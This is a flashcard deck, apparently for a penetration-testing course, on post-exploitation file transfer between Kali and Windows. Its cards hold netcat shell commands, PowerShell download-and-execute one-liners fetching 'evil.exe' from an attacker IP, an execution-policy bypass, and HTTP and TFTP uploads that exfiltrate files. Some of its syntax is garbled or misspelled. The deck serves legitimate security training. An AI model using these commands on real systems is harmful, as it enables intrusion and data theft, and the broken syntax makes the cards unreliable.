File Transfers Flashcards

1
Q

How to install FTP server on Kali?

A
  • sudo apt install pure-ftpd
  • chmod +x setup-ftp.sh
  • sudo ./setup-ftp.sh
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Non-interactive Shell

A
  • Programs that require user input such as file transfer programs
  • Lack useful features like tab completion and job control
  • EX. Netcat
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

How can you upgrade a Non-interactive Shell?

A
  • Connect to a Netcat shell
    • nc -nvlp 10.11.0.128 4444
  • Create a pseudo-terminal with Python module ‘pty’
    • python -c ‘import pty; pty.spawn(“/bin/bash”)’
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Windows Non-Interactive FTP Download?

A
  • Windows systems ship with a default FTP client that can be used for file transfers
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Where is the Windows binary nc.exe located on Kali?

A

/usr/share/windows-resources/binaries/nc.exe

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

How do you build a text file of FTP commands that will connect a Windows machine to a Linux FTP server?

A

c: > – echo open 10.11.0.4 21 > ftp.txt
c: > – echo USER offsec&raquo_space; ftp.txt
c: > – echo lab&raquo_space; ftp.txt
c: > – echo bin&raquo_space; ftp.txt
c: > – echo GET nc.exe&raquo_space; ftp.txt
c: > – echo bye&raquo_space; ftp.txt

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Given a text file of FTP commands named ‘ftp.txt’, what command will connect a Windows machine to a Linux FTP server?

A

C:> ftp -v -n -s:ftp.txt

    • -v = suppress any returned output
    • -n = suppress automatic login
    • -s = indicate the name of command file
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

How to transfer Netcat to a Windows machine from a Linux machine?

A
  1. copy nc.exe to /ftphome/
    kali: ~$ – sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/
  2. start the pure-ftpd server
    kali: ~$ – sudo systemctl start pure-ftpd
  3. Build a text file of FTP commands we wish to execute
    - —————————
    c: > – echo open 10.11.0.4 21 > ftp.txt
    c: > – echo USER offsec&raquo_space; ftp.txt
    c: > – echo lab&raquo_space; ftp.txt
    c: > – echo bin&raquo_space; ftp.txt
    c: > – echo GET nc.exe&raquo_space; ftp.txt
    c: > – echo bye&raquo_space; ftp.txt
    - —————————-
  4. initiate the FTP session
    - - c:> ftp -v -n -s:ftp.txt
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What scripting languages can be used in each version of Windows for Downloads?

A
  • Windows XP = VBScript
  • Windows 2003 = VBScript
  • Windos 7 and above = PowerShell
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How do you write a PowerShell downloader script?

A

C:> echo $webclient = New-Object System.Net.WebClient&raquo_space; wget.ps1
C:> echo $url = “http://10.11.0.4/evil.exe”&raquo_space; wget.ps1
C:> echo $file = “new-exploit.exe”&raquo_space; wget.ps1
C:> echo $webclient.DownloadFile($url,$file)&raquo_space; wget.ps1

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

How do we run the PowerShell downloader script file wget.ps1?

A

C:> powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How do you download and save a file evil.exe from a Linux machine with IP Address 10.11.0.4 using PowerShell?

A

C:> powershell (New-Object System.Net.WebClient).DownloadFile (‘http://10.11.0.4/evil.exe’, ‘new-exploit.exe’)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

How do you download (WITHOUT saving) and execute the evil.exe from a Linux machine with IP Address 10.11.0.4 using PowerShell?

A

C:> powershell IEX (New-Object Sytem.Net.WebClient) DownloadString(‘http://10.11.0.4/evil.exe’)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Get nc.exe onto a Windows machine with exe2hex?

A
  1. Find nc.exe for Windows
    - - kali:~$ locate nc.exe | grep binaries
  2. Copy nc.exe to PWD
    - - kali:~$ cp /usr/share/windows-resources/binaries/nc.exe .
  3. Compress nc.exe
    - - kali:~$ upx -9 nc.exe
  4. Convert nc.exe to a Windows Script
    - - kali:~$ exe2hex -x nc.exe -p nc.cmd
  5. Transfer nc.cmd to Windows machine
  6. Run nc.cmd
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

If HTTP traffic is allowed on a Windows machine, what can be used to exfiltrate data?

A

System.Net.WebClient PowerShell class

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

What must be created on the Kali machine to process incoming file upload requests?

A
  • Create the following PHP script and save it as ‘upload.php’ in our Kali webroot directory, /var/www/html:
17
Q

What is the process for uploading a file from a Windows machine to our Kali machine via the uploads.php script?

A
  1. Create uploads.php in /var/www/html
  2. Make directory /var/www/uploads
  3. Make sure Apache2 is running
    - - ps -ef | grep apache
  4. Modify /var/www/uploads permission, granting ‘www-data’ user ownership and write permissions’
    - - sudo chown www-data: /var/www/uploads
  5. Upload the file from Windows machine
    - - C:> powershell (New-Object System.Net.WebClient)UploadFile (‘http://10.0.2.15/upload.php’, ‘important.docx’)
18
Q

What is an alternative file transfer tool for older Windows systems that do not have PowerShell?

A

TFTP

19
Q

How do we install and configure TFTP on our Kali machine?

A
    • sudo apt install atftp
    • sudo mkdir /tftp
    • sudo chown nobody: /tftp
    • sudo atftpd –daemon –port 69 /tftp
20
Q

How do we upload a file from a Windows machine to Kali over TFTP?

A

– c:> tftp -i 10.11.0.4 put important.docx